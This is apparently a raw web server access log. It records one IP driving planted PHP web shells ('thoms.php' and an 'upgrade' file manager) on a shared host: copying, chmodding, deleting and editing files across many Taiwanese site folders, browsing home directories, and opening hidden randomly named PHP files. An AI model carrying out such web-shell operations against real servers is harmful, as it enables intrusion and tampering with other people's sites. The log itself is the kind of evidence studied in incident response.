45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11408 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 200 11426 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11380 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21873 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21750 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21801 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 6823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?edit=license.txt&p=big-wife.com.tw HTTP/1.1" 200 19832 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=big-wife.com.tw HTTP/1.1" 200 23490 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5819 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2F.577848875820371.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 7413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 6873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2F.770545370729360.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 7407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 7040 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 31466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 47707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8615 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10536 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 6844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:04 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2F.598633700255332.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 7413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 33922 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 7117 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 28811 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade%2F HTTP/1.1" 200 46988 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16705 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /thoms.php?edit=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 13126 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 21790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 21780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 21787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 21826 "https://163.245.207.76/big-wife.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:05 -0400] "GET /big-wife.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
